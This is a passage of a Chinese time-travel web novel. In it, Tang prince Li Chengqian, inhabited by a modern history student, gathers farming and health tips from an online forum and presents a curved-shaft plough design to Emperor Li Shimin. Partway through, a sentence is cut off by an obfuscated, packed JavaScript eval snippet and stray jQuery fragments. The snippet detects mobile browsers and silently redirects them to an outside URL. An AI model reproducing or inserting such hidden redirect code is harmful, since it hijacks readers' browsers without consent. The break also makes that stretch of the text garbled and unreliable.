【青天】:占城稻虽然口感偏硬,不过古代嘛能吃饱就行,虽然占城稻目前来讲有争议也有人提出它的作用似乎被夸大,但问题总得一样一样解决。 先说占城稻本身,这玩意耐旱不挑地,古代水利是件麻烦事,用水少是优点,同时他也耐涝。古代占城稻一般多种于江淮两浙等地。 另外有说法占城稻最早在历史上是福建先于全国引入的,这边就是我们中国古代老百姓的智慧了。 对了,占城中唐前称林邑,五代宋时改称占城。记住穿越的时间点,叫错名字可是不好。 还有一点,要是穿越太早,有没有占城稻我可不敢保证。毕竟作物发展也是需要时间的嘛。 【青天】:当然占城稻最重要的还是早熟,配合干旱条件可以靠这个减少受灾损失。 与此同时最好随时做好杂交育种的准备,占城稻最开始没那么早熟高产,也是直到南宋末年才培育出六十日而熟的优良品种。 而且占城稻对长江流域的,北方可以稻麦两熟,优点是真的多除了不好吃。 李承乾看得懵懵懂懂。 虽则他自小孤苦,但到底还是远离农事,此刻才真切意识到他这个学生简直完美对应“五谷不分”四个字,只对不好吃印象深刻。 【青天】:农业是复杂的,光光一两个粮食品种拿出来作用并不是很大,只有与之配套完整的工具、技术、肥料、种植方式才能真正意义上缓解粮食问题。 【青天】:当然我也不是说土豆红薯不好,他们其实也不错,随便往坡地谷底一扔就能活,饥荒能救命。 它们的意义在我看来不在于高产,而是不占主田。 但是在没有足够成熟粮食储存做背景的前提下,还是不要轻易尝试推广,否则分分钟翻车。 【青天】:最后,楼主一帖引战,顺手举报了,等着被禁言吧。 178L:噗,大佬真是有种独特的幽默感。 179L:我早说了大佬记仇,先科普后举报,果然是恩怨分明…… 李承乾:??? 你知不知道你在举报谁的账号? 是即将肩负大唐两京一十道的太子殿下的账号! 青天大佬果然记仇,先恭后倨,恐怖如斯。 李·举重达人·承乾连滚带爬退出贴子翻找论坛规则明细,一看被举报用户最多禁言半个月他当即松了口气。 问题不大。 总不能隔半个月晕一次吧,那他真的会英年早逝的。 总之现在对于占城稻李承乾了解了个大概,也让他的设想有了大致思路。 棉花种子不能浪费,先取一部分试着种种看看,琢磨一下过程可能遇上的问题,后续的轧棉搅车,他还有些朦胧的印象,慢慢来。 占城稻也要花时间寻,粮有了余下的便是工具——曲辕犁。 真是感谢天感谢地感谢他是专攻隋唐史这一块的研究生,也感谢大学四年中那个强制他反复修改了无数次论文的老师,尽管那论文只是个小组作业。 曲辕犁的结构图,他反反复复画了好几遍。固然因为时间流逝记忆残缺,但画个大概是没问题的,之后就可以做出样品慢慢修改。 可幻想很美好,李承乾无奈地盯着自己的小手,现实太骨感了。 八岁,他要怎么跟李世民提占城稻的事? 他又要怎么去搞看似“不务正业”的东西? 这一回可没有孙思邈做壳了,难不成学明朝的木工天子大大方方摆烂? 他是李世民的嫡长子未来的大唐太子,没做出成果前,这直谏的奏表估摸都要堆满李世民的案桌了。 李承乾叹气,走一步看一步吧。 *** 李承乾不知道自己又是什么时候睡着的,总之等他觉得胸闷气短憋不住再度醒来时,眼前是一个白白胖胖泪眼汪汪的小男孩。 “阿兄呜呜呜呜,都是为弟的错,要不是我说想阿兄了,阿兄也不至于,呜呜,也不至于养了两个月的病到现在才醒来。” 臭小子这爪子再不从他胸口挪开,信不信他再表演一个当场晕倒。 李承乾面色涨红,伸手抵住小男孩的额头,勉强将小男孩跟自己记忆中的人对上号:“李泰你先松手。” “阿兄你挤着大兄了。” 软糯的女音幽幽响起,李承乾这才看到李泰身后的小女孩。 小女孩眼神清泠泠带着丝无奈,是历史上的长乐公主李丽质。 李泰不敢置信地盯盯李承乾盯盯李丽质。 这啜泣声停了还没几秒,人又嘴一闭,眼泪大颗大颗砸落,声音哽咽,话语里的委屈十分明显。 “阿兄和小妹是不是不喜欢我了?” “我向阿兄道歉,阿兄别不要我……” 李承乾很头疼,根据记忆他知道原主和李泰关系好,万万没想到关系居然好到这一步。 “我只是有些口渴,没说不要你。” 松手了。 李承乾贪婪地大口呼吸着,这才有心思打量周围。 看样子是回宫了,殿内只他们三人。 正想着,那个小胖身影接过李丽质递过来的茶盏就噔噔噔向他跑来。 小家伙一抽一抽的,脸庞上都是泪水,怯生生地将水递到李承乾跟前:“阿兄你喝。” 李承乾接过水:“十二呢?” 李泰歪头想了想,一双黑眸小狗似的随着李承乾的动作而转动:“我先前只念着阿兄倒是没在意十二……” 李丽质无语,坐在李承乾身旁,小大人一个:“被阿耶叫走了,听说是要问他什么事情。” 精致的和洋娃娃无异,李承乾挲忍耐住想要上手揉一把的冲动。 看来他应该是刚刚回宫没多久。 李承乾在心中下了判断,顾十二被叫走估摸就是被李世民问一下接种牛痘的具体感受。 既然顾十二没什么事,李承乾的心思又落到了眼前的李泰和李丽质身上。 李承乾在去太安村前跟李世民商量对外以养病为由谢客,如今听这话里的意思,他们恐怕是不知道具体真相的。 李承乾想了想:“这两个月来宫中可有什么风声?” “阿兄,你变得冷淡了。” 李泰小声哼哼着,脱去鞋子直接爬上了李承乾的床榻往他身边拱。 李承乾大惊失色一把按住了李泰想要攀上他胳膊的手:“你先下去。” 李泰没理他,反而异常委屈:“阿兄以前来我府里都是这样陪我睡觉的,听说就是因为阿兄上回来看我出了意外,阿兄是不是心里还在怪我?” 李丽质叹气给粘人的李泰腾位置,看着眼前二人打闹颇有种长姐般的无奈。 李承乾努力控制自己扭曲的表情。 李承乾,原主,你这是养弟弟还是养儿子啊?! 实在难以理解,就冲这俩人儿时的亲密,未来是怎么落到史书上反目的结局的? 他果然是穿了个平行大唐吧! “没有,阿兄真的没有怪你。” 李泰年纪小也好忽悠,听着李承乾这话当即又笑起来。 李丽质打断李泰的乐呵,想到什么皱着眉语气不满:“这两月大兄养病,有碎嘴的人说大兄这场病之所以养了两个月,是因为阿耶。” 李承乾:? 他怎么不知道李世民还有这本事。 “六月四日宫中出了大事,阿耶又亲自披甲上阵,有好些人说大兄这病是被阿耶活生生吓出来的。” 李承乾:?? 可止小儿夜啼的黑脸叔叔秦王是吧。 “说什么是阿耶杀戮太过的报应,还有些人觉得大兄的性子太过柔弱实在不像阿耶的孩子。” 李承乾:??? 不是跟李世民这个天降猛男相比谁来都柔弱好 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李承乾感受着酸麻的四肢和心尖隐隐的疼痛,很是怀疑那个太医的医术。 已经晕倒两次了,他可是觉得他这身子虚得不得了,但李丽质又没有骗他的理由。莫不真是穿越后遗症。 “阿兄?” 李承乾回神,他当然不可能说自己这两个月都在外头,所以他只是目光悠远语气沧桑:“天下苍生。” 李泰:? 李丽质:? 李承乾:“我在忧虑天下,如今江山初定尚且残破,你我身为锦衣玉食的皇家人怎可挥霍无度?” “阿耶之名,万万不可毁在你我之手。” 李泰:“啊?” 李丽质:…… 李泰看着李承乾,莫名的羞愧和敬佩涌上心头,他捏捏自己软乎乎的小肚子,红了眼眶:“我明白了,阿兄大义,是我狭隘了。” 李承乾:啥? 李丽质:哈? 李泰说着说着忽然语气坚定,像是下了什么违背祖宗的决定一般,声音颇为心痛:“我以后不会再吃那么多了。” 李承乾:…… 李丽质:……敢情是在心痛这个。 “不仅如此,后日我也不会躲懒了,跟阿兄一样卯时初而起认真读书。” 李承乾:嗯……嗯?! 几点? 卯时初,这不是五点吗?! 李承乾一口气卡在喉咙间:“后日?” 李泰点点头:“是啊,后日。” 李丽质奇怪李承乾的反应:“大兄从小就聪慧最喜读书,如今已经落下了两个月的课程,太医也说阿兄身子无碍,阿耶说了一应功课就从后日起上。” 李承乾深吸口气:“学什么?” 李泰不解:“《诗》《礼》,总归就是这些东西。” “具体的安排是什么?” 李泰摸上李承乾的额头:“没发热啊,难不成是阿兄病了两个月病糊涂了?” “寅时而起复习课业,而后是孔颖达与阿兄评说古事,午后是练五张大字,练完字就是陆德明向阿兄讲解经文子集,最后是每日一份治国策略。” 李承乾两眼一黑,就他这身体,一天学完后想干些别的事情只怕是心有余而力不足,不行绝对不行。 更重要的是这排得也太满了吧,他还没做好准备重回高三啊。 李承乾思绪流转,李丽质看着太精明不好骗。 至于李泰,李承乾扶额,总感觉是原主“溺爱”太过,这看着比史书上的“憨”。 啧,李承乾忽而咳嗽几声:“天色不早了,小妹你先回吧。至于小弟躺着陪我会吧。” 李丽质叹气:“我就知道你俩又要睡一起,那我就先走了,大兄好好休息。” 李泰笑吟吟冲李丽质挥手,等看不到人时突然感觉一双手按上他的肩膀。 “你信不信阿兄?” 李泰茫然回首:“信,怎么了?” 李承乾脑子飞速转着,他必须得做出成果才能有资本与李世民谈判。 这跟牛痘不一样,牛痘他能借孙思邈的名头,那曲辕犁呢? 没真的有成果之前,要叫李世民如何相信一个八岁小儿的妄言? 更不用说棉花占城稻了。 他要以曲辕犁为敲门砖,敲开那一丝可能。 李承乾眯眸,轻轻对李泰耳语几句。 *** 武德九年八月十六,养了两个月病的李承乾终于转好已无大碍,开门迎客,只不知何故伤到了嗓子,太医言最好不要见风。 武德九年八月十七,东宫,崇文殿。 李泰神经紧绷地坐于帐帘之后,隔着朦胧的帘子,他的身前是滔滔不绝讲着前隋旧事的孔颖达。 同日,东宫,显德殿。 年轻的新皇李世民放下关于突厥南下的战报,微微后仰身子闭目养神:“突厥南下,按着时间至多三四日抵达武功。” 从武功出发,快马一日便可兵临长安。 房玄龄皱眉:“陛下将将登基,这么快的速度……” 李世民嗤笑:“罗艺张瑾呗,放任突厥南下,还真是没出乎我意料。” “外患未绝,可笑裴寂还打算拿疫病说事搅乱人心,他可还记得那太安村的情况分明是他先同上皇联手隐瞒我这个尚书令的!” “偏偏那时我自己处境也是危急以致没有及时察觉,现在想来实在羞愧。” 分明不是他的错,可他却一如既往地将所有责任担在肩上。 “争权夺利不顾国家百姓,他倒是和我那好上皇一个脾性。” 房玄龄点头:“只是裴寂是上皇最亲密的旧人,如今上皇余党多依附裴寂。为朝堂稳定,不好现在废之。” 李世民轻笑:“我当然知晓这些,不过辛苦裴寂今早那一出做戏了,也多亏承乾献策孙思邈协助,牛痘之名已然传扬泾阳,就等着慢慢推进了。” “杀兄逼父天罚之,惶惶疫病起。” 李世民漫不经心敲敲桌面,说起这段时日李渊旧党的碎语来神情没有半点变化。 泽被苍生庇佑百姓,才是一个帝王应当所为的。 他本就无惧无愧。 “济世安民天受之,悠悠牛痘安。” 知我罪我,其惟春秋。 “虽也不妨碍,不过承乾倒是意外助了我一把。” 李世民起身,他的语调慢条斯理,满是面对猎物的游刃有余,从容不迫带着掌控一切的凌厉锋芒,一瞬的气场压得人几乎喘不过气。 那般自信那般自负,仿佛他面对的不是上皇余党恶意的看戏,仿佛他接手的不是百年乱世重归一统的烂摊子。 李世民慢悠悠负手朝殿外走去,语气慵懒:“等到之后我亲自出面退敌突厥,我看这些家伙还怎么掀起风浪。” 真是年轻气盛,房玄龄勾唇。 不过这样的李世民才是那个在武德年间带领他们百战百胜的天策上将啊。 “说起承乾,这刚醒又伤到嗓子,玄龄,这些政务你先看着,我去崇文殿瞧瞧他。” 10.养生之路 东宫,偏殿。 李承乾窝在桌边,认真看着顾十二潦草画出的耕犁。 这就是目前关中流行的耕犁样式,李承乾双手交叉撑住下巴。 顾十二忧心忡忡:“殿下怎么忽然对耕犁感兴趣了,如是为这么一幅画不必逃去今日的课业,这要是被陛下发现可如何是好。” 李承乾顺手拿起毛笔满不在乎:“这几天朝廷可热闹得很,突厥南下阿耶忙着暂时还没有空来管我。” 渭水之盟嘛,就在这段时间。 顾十二还想说什么却被李承乾打断:“你幼时见过顾大山下地,想来对耕犁也是了解一二的。” 李承乾抽出新纸大笔一挥:“等着,看我给你画个新鲜玩意。” 东宫,崇文殿。 李泰坐在帐帘后初时还有些紧张,但很快就昏昏欲睡。 “参见陛下。” 孔颖达忽远忽近的声音透过帐帘,李泰本还迷糊的大脑瞬间清醒。 陛下?阿耶! 大兄不是说阿耶今日肯定没空来看他的吗!就连大兄的侍读长孙家庆也被大兄找理由暂且不陪着一道上课。 李泰绷直身体,一颗心砰砰直跳。 “无事,我只是来看看承乾的。你继续讲吧。” 是阿耶含笑的声音,李泰急得脑门冒汗,一双手死死攥紧衣摆。 东宫,偏殿。 李承乾哼哼着点点图纸,只见一个样式有些古怪的耕犁。 顾十二难掩心中的好奇:“小殿下,这是新式的耕犁吗,跟以往见过的都不一样。” 李承乾拧着眉心,努力回忆具体的零件分部,没有回答十二的问题。 顾十二没有被忽视的失落,他的目光又朝边上而去。 李承乾的笔下,一块块部件逐渐成型,部件旁还写着相对应的名字。 以顾十二的眼光来看,那份整体图倒有些意思,但这部件图却相当粗糙。 顾十二暗自琢磨着,见李承乾迟迟不动,原是一块写着犁壁的空白,只有名字没有图画。 李承乾很苦恼,等真的要平面转立体,他才发现一个严重的问题。画草图是容易,可其中具体的长度大小弧度呢? 这可不是简单画个形就可以了的,这可都是要具体组装起来的,差一些就可能效果不行。 李承乾盯着犁壁部分懊恼不已。 这具体弯曲程度该如何把握,该如何才能保证顺利翻松土壤而不至于堆叠一处形成阻碍? “十二,我叫你寻的工匠寻到了吗?” 顾十二看出李承乾的燥意放缓呼吸:“人已经在外候着了,是宫中侍奉了二十年的老人。” 李承乾揉揉自己酸疼的手腕,大致将犁壁外观画下后起身,不料却踉跄一步眼前白光一片。 果然不能久坐,李承乾想着抚上胸口缓解疼痛。 “让那工匠进来。” 他没有经验不好把控,便叫有经验的人来看看。 顾十二迟疑:“小殿下的身子……” 李承乾闭眸:“无碍。” 顾十二到底没有多说什么,可谁料他刚一转身想要引人进来,殿门却先一步被人开启。 日光撒入,李承乾抬手挡光,他下意识往前站了几步,遮掩他身后的草图。 “阿、阿兄……” 熟悉又怯怯的声音响起,李承乾心头一梗。 他挪开手——殿门前,李世民逆光站着,看不清表情,他的身边是李泰。 为什么他居然觉得眼前的场景有些眼熟。 李承乾闷哼,垂在身侧的另一只手霎时紧紧捏住心口,尖锐的刺疼四面八方朝他涌来。 心脏似被紧紧缠绕,疼得他唇色泛白,脑子也昏沉起来。 “承乾……” 靠! 李承乾根本没听李世民说了什么,难以忍受的心悸席卷全身,让他仿佛回到了与李世民初遇的那日。 下一瞬,他眼一闭昏死过去。 李承乾生无可恋,倒前的最后一个念头居然是完了。 那个他脾性柔弱被自家老爹吓晕的谣言怕是洗不干净了。 李泰目瞪口呆,李世民心忧焦急,顾十二只顾搀扶李承乾满脸无措。 李世民大步上前将人抱过,难得对自己产生怀疑。 李世民看向愣在当场的顾十二自言自语:“总不能真是被我吓晕的。” 可他宁愿是这样的结果,若是与多年前那僧人所说的劫难有关……李世民将李承乾扣在自己怀中,眸色暗沉。 顾十二咽咽口水收拢李承乾当宝贝的图纸。 李世民冷静下来,看着李泰摇头:“还有你青雀,好的不学学你阿兄骗人。” 李泰垂着脑袋,扒拉着李世民的衣角一言不发。 李世民叹气:“都随我来吧,我有事问你们。” *** 意识昏沉,眼皮沉重。 前头逆光站着两个人,其中一个中年男子看不清面容,但是他浑身上下浓郁的悲恸与失望却叫李承乾心尖发颤,嘴巴也跟着泛起苦涩。 “你是谁?” 李承乾睁大双眼,怎么也看不清楚。 “呵,阿兄铸下此等大错居然还无半分悔过之心吗?” 中年男子身后的男人朝前走了一步,还是看不清面容,但说出的话却是讥讽满满。 不是我没有,我早就后悔了! 李承乾想说什么却动弹不得,只能眼睁睁看着中年男人疲倦地闭眸,声音沙哑自嘲:“承乾你太任性太自私,从不肯信我半分。” 我没有不信你,我…… 李承乾泪眼朦胧。 他是个最糟糕的孩子,一再试探那人的底线,言行举止皆是诛心。 可明明最开始他只是想要做阿耶的骄傲,到头来却是他先放弃了阿耶。 他坐着太子的位置却全然担不起太子的责任。 阿耶说得没错,他确实自私又任性,难担大任。 “至于我儿……” 中年男人的声音让李承乾呆呆愣在原地,锥心刺骨的疼痛闯了进来,绝望无助的情绪如同锁链将他紧紧束缚。 “凡在苍生,皆存抚育,况乎冢嗣,宁不钟心……” 自恶痛苦,厌倦无助,悔恨绝望,种种情绪密密麻麻将他包裹,让他难以喘息,让他几近疯狂。 如果能重来该多好,不论什么代价我都不在乎。 李承乾从方才起就仿佛陷入幻觉,做什么全凭身体本能。 李承乾头疼难耐,却不知是怎样的悔意怎样的执念,才叫他泪流满面。 画面一转,李承乾仿若无水而游。 他看到自己跪在佛像面前,看到逆光处一个神情悲悯的僧人,看到自己不住叩首,直至额头渗出鲜血,直至面色愈发惨白,他都没有停下动作。 “大错已铸,无力回天。唯愿阿耶余生顺遂,勿念不孝子承乾,若有来生,承乾愿以……” 他在求什么呢? 李承乾猛然睁开双眼。 他皱眉左右一看,果然又到了那个空间,他没有犹豫拿过手机。 只是心中却莫名古怪,总觉得自己方才好像做梦了,也不知道是梦到什么,李承乾抹抹眼角泪水,呆愣片刻后将这事抛到脑后。 李承乾打开论坛,心中无比坚决地下了个决定,从今天开始他要养生。 就这动不动晕倒的破身体,他怀疑自己根本活不过十岁。 就算这破金手指要昏倒才能用他也顾不上那么多了,以后想晕大不了临时熬个三四天不睡。 人,要对自己狠。 李承乾胡思乱想着刚要发帖,谁料一个大大的弹窗蹦到他脸上。 【您被禁言三天,距离解封还差五分钟】 李承乾:…… 失策,居然忘了那个举报他的青天。 李承乾思索片刻,随即尝试性地在搜索框中打下棉花二字。 搜索。 只有七八条贴子,其中一半还是个笔名带棉花的小糊作者。 剩下的贴子李承乾一一点进,终于在最后一个只有七八条回复的贴子里那个熟悉的名字再度出现。 李承乾草草看去,只讲了棉花的种植产地,除此之外就是种植时间多为春季。太热的天气对棉花种植有一定影响。 李承乾:…… 现在是八月吧,环境合适的话棉花种子应该能存放半年的吧? 古代不确定因素太多,化肥杀虫药大棚洒水车什么都没有,还是再等等吧。 李承乾叹气,看了眼左上角的时间,五分钟已过,他当即打起精神,思索片刻,发出了他的第二个贴子。 【穿越古代为什么不推广喝热水养生防病,这个算是最简单的方法了吧?所以为啥作者都不这么写?古代人蠢作者难道也蠢?】 1L:柴米油盐酱醋茶,楼主该想想为啥柴放第一位。 2L:有时候能不能不要那么想当然,生产力摆在那。 3L:楼主这个简单那个蠢的,别光说不练啊。 4L:推广喝热水当然行,古代又不是没有类似喝沸水防病的记载,所以推广全国喝热水在古代不行。 5L:我靠,这眼熟的ID,前几天撕了上百楼的明清贴子就是这个楼主发的吧? 6L:楼主口气那么大,不知道你写的啥小说,说出来让我拜读一下。 李承乾视线往下回贴的手一顿。 他还没下场呢,这次青天倒来得早。 【青天】:看你是什么身份喽,开局一平民你还不如洗洗睡去,生死有命主打一个熬。富贵人家开局,现代常见的勤洗手多喝热水都行,你都有钱了还不是随便造。 养生防病也可以食补,莲藕萝卜红枣枸杞栗子都行。 李承乾回忆,现代学者普遍认为唐朝皇室的风疾很有可能跟心脑血管和高血压高血糖这些有关。 等等,他莫不是也遗传了这个。嘶,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369429|168105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体又是穿越后遗症又是遗传病,真是多灾多难。 大学时期几乎餐餐吃最便宜的李承乾牢牢将青天随口举例的食物记好。 不过就他目前和长孙如堇与李世民见过的几面来说,他俩的身体感觉挺不错,没有史书上讲得那般严重,难不成还能跟他穿越扯上关系吗? 李承乾被自己的胡思乱想逗笑,他晃晃头将其抛之脑后。 【青天】:说起来感觉茶也不错,养生防病的传统法子。就是如果穿越到初唐以前的话这茶还需要自己研究。众所周知唐初茶汤这玩意又是加盐又是各种葱姜花椒,这味道想想就一言难尽。 【青天】:不过说到底我们古代不是西方中世纪啦,卫生这一块我国古代都很重视的。 对了说个冷知识,穿越古代别忘了告诉产婆接生前清洁洗手,能有效降低产妇产后死亡率。顺便我个人感觉产钳也是个很简单能造出来的工具,但在古代能大大提高婴儿存活率,不过有些后遗症可能无法避免。 产钳图片.jpg 李承乾:这话题真是一歪八千里,青天不会真的是大学那种半节课自由发挥的教授吧。 心中吐槽但还是强迫自己牢牢记住产钳样式。 先不提历史上他娘长孙皇后还要生好几个孩子,就冲能提高婴儿存活率这点,对于目前缺人口的贞观来说就是万分重要的。 至于推广,反正还有孙思邈这个哆啦A梦。 【青天】:不好意思发散了,话说回来除了食补还可以相信我国古代传统运动——五禽戏和八段锦。 八段锦。 熟悉的三个字瞬间让李承乾的记忆复苏,痛苦的大三体育课回忆涌上心头。 那个差一分卡绩点的八段锦体育课他永生难忘。 【青天】:益气养生,安全卫生做到位就是舒络筋骨嘛,最后一个心态放平,活到九十九也不是没有可能。 【青天】:等等,楼主的ID,白瞎我打那么多的字。 又是你这个引战狗,上次被封才刚出来又来了啊?你们这种营销号到底一条贴子有多少钱拿?我们这日活不高的小糊论坛都这么喜欢来。 【我真的是大唐太子殿下】:大佬我真的不是营销号,您别举报! 【青天】:抱歉晚了,已举报,不谢。 36L:能被大佬记住的人真不多,太子殿下你其实挺厉害的,有成为“坛黑”的潜力。 37L:可惜我们论坛没有永久封禁,总觉得这位营销号不会善罢甘休。 38L:谁还记得我们是网文论坛,救命啊首页不是吵架就是拉踩,我们论坛不是马桶啊我说! 李承乾:…… 很好。 青天,你成功引起了本殿下的注意。 隐约察觉到这位大佬认真的态度和有问必答强迫症的毛病,李承乾冷笑一声。 以后他再发贴子,第一个@青天,主打一个缠缠绵绵。 *** 熟悉的清醒感,李承乾睁开双眼,李世民正左右端详曲辕犁的草图。 李承乾半坐起来,缓了会琢磨着开口:“阿耶,儿总觉得儿这身子需要补补。” 李世民指尖描绘着草图似有所悟:“确实太虚,我已同太医商议,每日三碗药。” 中药啊,得多苦,但为了自己的身体李承乾咬牙,也趁机为自己捞好处:“好,但儿都晕倒了,这课业是不是也得往后推推?” “反正儿明日早起要在宫中炼体,希望阿耶莫要阻拦。” 李世民眉心一跳,总觉得这臭小子自从六月四日后越来越不对劲。 李世民盯着理不直但气很壮的李承乾,半晌开口:“可,一个月,我至多再让你歇息一个月。” “未来的一国储君,若是为君之道都不通说出去像什么样子。” “还把你弟弟给带坏一道蒙骗起人来,偷梁换柱,好大的胆子。” “承乾你要明白,跟大儒学习学的是为君治国。” “担责悲悯知人善用,这是要你从课业中学到的。” “你不是为了科举,因为你的肩上是大唐的国祚,是大唐万万百姓的未来。” 话落,李世民弯腰平视李承乾。 似是看出了他隐藏的不情愿,李世民语气中不是大人对孩子的居高临下与敷衍,而是认真又平等地与李承乾对话。 不以父子的身份,不以君臣的身份。 李承乾愣了愣,突然反应过来他不是个能随意敷衍可以临时抱佛脚的学生,他将会是掌握生杀大权的一国太子。 学生可以任性,因为任性的代价只是自己。 太子不能任性,因为任性的代价皆是百姓。 李承乾咬唇没出声,他忽然想起昏倒时那个记不清又叫人难过的梦。 李世民轻笑,温柔地揉揉李承乾的脑袋,随后举起曲辕犁草图晃了晃。 “但在此之前,承乾要不要先跟你阿耶解释一下,这个农具你是从何处想来的?” 11.献曲辕犁 太快被发现以致李承乾根本还没想好借口,难道嘴巴一张都推到杂书上头去吗? 所以李承乾暂且只回答了李世民的第一个问题。 “此物名唤曲辕犁。” 李世民指尖摩挲曲辕犁那一处弯曲的犁壁:“同直辕犁做区分吗?名字倒是贴切。” 李承乾一顿:“阿耶还懂这些?” 我靠,这要他接下来怎么忽悠。 李世民点头:“略懂一二,打仗打仗可不单单是退敌那么简单。战后收拢人心恢复农力我都有与当地官吏一道跟进,也都见过这些。” 李世民说着冲身后招手:“在你昏睡的时候我又唤了司农卿过来。” 这司农卿可不是只会纸上谈兵的文人。 这位起先不过是个八品小官,但为人务实,真真切切研究琢磨了二十年的农事,也跟着老一辈求教过,跑过各处的田地。还是李世民为尚书令时看中提拔的,这才慢慢爬到了司农卿的位置。 司农卿两眼放光,兴奋地自李世民手中接过草图。 李泰见李世民心思不在他身上,正打算一挪一挪往殿外去,谁料李世民跟脑后长眼睛一样:“留下,你和承乾今日联手欺瞒大臣,都该罚。” “就以商鞅立木为信为文眼,各自写一篇治国策文吧。” 李承乾半虚着眼:什么突如其来的申论写作。 李泰泪眼汪汪:阿兄救我,我才七岁啊。 “这曲辕实在妙哉!” 司农卿一声惊喜打断父子三人的调笑,他将草图摊开抚平置于众人面前。 “简单改动就能轻松许多,我从前怎么就没想到呢。” 李世民站于正中间,他的身边挤满了脑袋。 李承乾凑上去刚想将从前背了无数遍的曲辕犁的好处侃侃而谈,谁料李世民比他先一步开口。 “我从前见过百姓耕地,也了解过一二。” “这直辕不易摆动不利回旋,若是换成曲辕,啧,倒是能轻松些。” 李承乾一愣,李泰眨巴眨巴眼,虽然听不懂但不妨碍他对李世民的佩服。 司农卿连连点头,音调不自觉抬高:“再瞧这把手处的犁评犁建,关窍精巧,按着这设计若推进犁评便能自上而下使翻土的犁铧深入,反之则浅。” 早早被李承乾喊来的吴工匠沉吟:“这其中连接部件按着图样打造不算复杂,且按着司农卿的说法,这深耕浅耕集于一犁,往后耕地便能轻松快捷了。” 一直眼巴巴瞧着的顾十二终于有机会开口:“这犁壁的位置也是巧妙,配合这曲辕犁不仅能碎土,若是奴猜得不错这犁壁还可以在行进过程中将翻耕的土推到一侧,这叫做……” 司农卿哈哈大笑:“这叫做省时省力。” 听着这几人你一嘴我一嘴的将曲辕犁的功能优点说出了个大概,李承乾一时半会居然无法形容自己复杂的心绪。 说实话,李承乾拿出这曲辕犁的时候除却担心该如何解释来源,其中也不乏隐秘的来自后世的自得。 但瞧着眼前这一幕,李承乾却觉得是他想岔了。 司农卿笑完像是想到什么一般拧眉思索片刻,这才有些迟疑开口:“江东一地多为水田,这曲辕犁优点虽多但于关中农民而言却并非完全贴合,反倒是……” 李世民笑着接口:“反倒是更加契合江东水田多且耕地狭小的情况。” 司农卿轻“嗯”道:“小殿下,这曲辕犁莫不是自江东等地传入的样式?” 李承乾暗暗咋舌,怎么也想不到不过一个草图和具体部件分布图大伙就能猜出个七七八八了。 至隋末唐初江东确实已有曲辕犁的雏形。 不过司农卿这话倒是提醒了他,他眼眸微动:“嗯,这曲辕犁实则是我在太……” 李承乾紧急将太安村往下咽,他出长安一事知道的人并不多。 李世民显然明白李承乾的未竟之言,所以对于李承乾的变口没有深究。 “是我曾经出府后偶遇一个老农。他家往上一辈是自江东躲灾而来的。” “他家的耕犁就同直辕犁有些不同,辕柄更长些,细节部件衔接处也不尽相同。” “本以为能再询问老农详细,可惜因为意外找到人时一家都因疫病离世。” 编也得编个死无对证,李承乾思索着继续:“这两月‘养病’无聊倒是突然想起这个,就自己瞎琢磨了一番。” “觉得改得短些更有意思。” “准确来说我这草图应是叫短曲辕犁,不仅更加契合江东一地,应也是更能适用于各州各县。” “我这草图算不得精细,倒是叫大家看笑话了。” 它本就是千百年前古代劳动人民的智慧,并非独属于一人,也并非突兀出现。 李承乾眉眼弯弯:“那位老农与我说过,这是江东千千万万百姓农夫根据经验一点一点改良而成的。” “承乾今日以此草图献于阿耶献于朝堂献于天下,不过是借花献佛。” 话至此李承乾对上李世民满含欣慰的眼眸,心间松快不已。 他一字一句道:“这本就是他们所创,承乾又怎敢贪天之功?” 李世民轻笑:“承乾果真长大了。” 说着他抬手轻轻抚过曲辕犁,似乎透过这幅草图看到了往后千万百姓用此犁耕地的场景:“至明年春,不知可否将此草图变作现实?” 李承乾心中算着时间,如今是八月中,还有小半年的功夫,肯定是够的。 “为什么是明年春?” 李承乾好奇。 李世民将李承乾抱入怀中,语气里是说不尽的自信数不清的风流:“荒废数百年的藉田之礼也是时候该重开了。” 藉田之礼,历史系的李承乾当然知道这个。 春耕之前,天子带头耕地叫百姓围观以示对农业的重视。只是自东汉以来一直战乱不断,这个古礼已渐渐成为了一个传说中的故事。 他仰着脑袋自下而上看着李世民,难言的情绪化作细流蔓延全身。 这般壮志入怀乾坤在握的李世民,总是那么闪闪发光叫人忍不住被吸引。 龙凤之姿,天日之表,史书诚不欺我。 “我本是想着待一切尘埃落定再做打算,但有了这曲辕犁,我不想再等了。” “这藉田之礼便能成为推广曲辕犁的最好背景。” “当然也不是所有的人家都能换用新犁,届时曲辕犁成,我会交由将作监想办法在直犁基础上改进,不求如曲辕犁一般,只求更加好用。” 李承乾心中叹服,这草图才刚刚出来,李世民便能走一步想十步直接让这曲辕犁在藉田之礼中登场。 天子之用上行下效,以自己的名义背书。 藉田之礼躬行实践,真切让百姓看明白这曲辕犁的妙用。 直犁上修改,则是尽可能替百姓降低成本。 如此一来,这推广曲辕犁也能更加顺畅。 李承乾想着,示意李世民将自己放下。 他朝李世民躬身,是他穿越至今行的第一个端正标准的臣子礼:“臣向陛下承诺,明年春耕,必能制成曲辕犁。” 不是儿对阿耶的承诺,是臣子对天子的承诺。 李泰似也受到感染:“阿耶阿耶,那我呢?我也想跟阿兄一起。” 李世民弯腰轻轻一弹李泰的额头:“可,但书也别忘了念,别跟你阿兄学。” 莫名躺枪的李承乾:…… “还有那份策文记得十日后给我,你和承乾的都不许忘了。” 生无可恋的李泰:…… 原来阿耶还记得这茬,早知道就不多嘴了。 李世民好笑,谁还不是从孩童时期过来的,他还看不明白这两个小兔崽子? “承乾,吴工匠任你调动,司农卿由你差遣,若是你还想派人前往江东亦可。” 话落李世民揉揉李承乾的脑袋:“未来的小太子,朕等着你的成果。” 一旁一直斟酌草图的吴工匠犹豫良久,但瞧着李承乾信心满满的模样,他到底是忍不住轻声道:“小殿下,陛下。” 李承乾转头:“是我这草图有什么问题吗?” 吴工匠讪笑:“其余都好,就这图上部件标注的数据瞧着很是不对,若是依着这个数据打造只怕是会上重下轻推不动,还会……散架。” 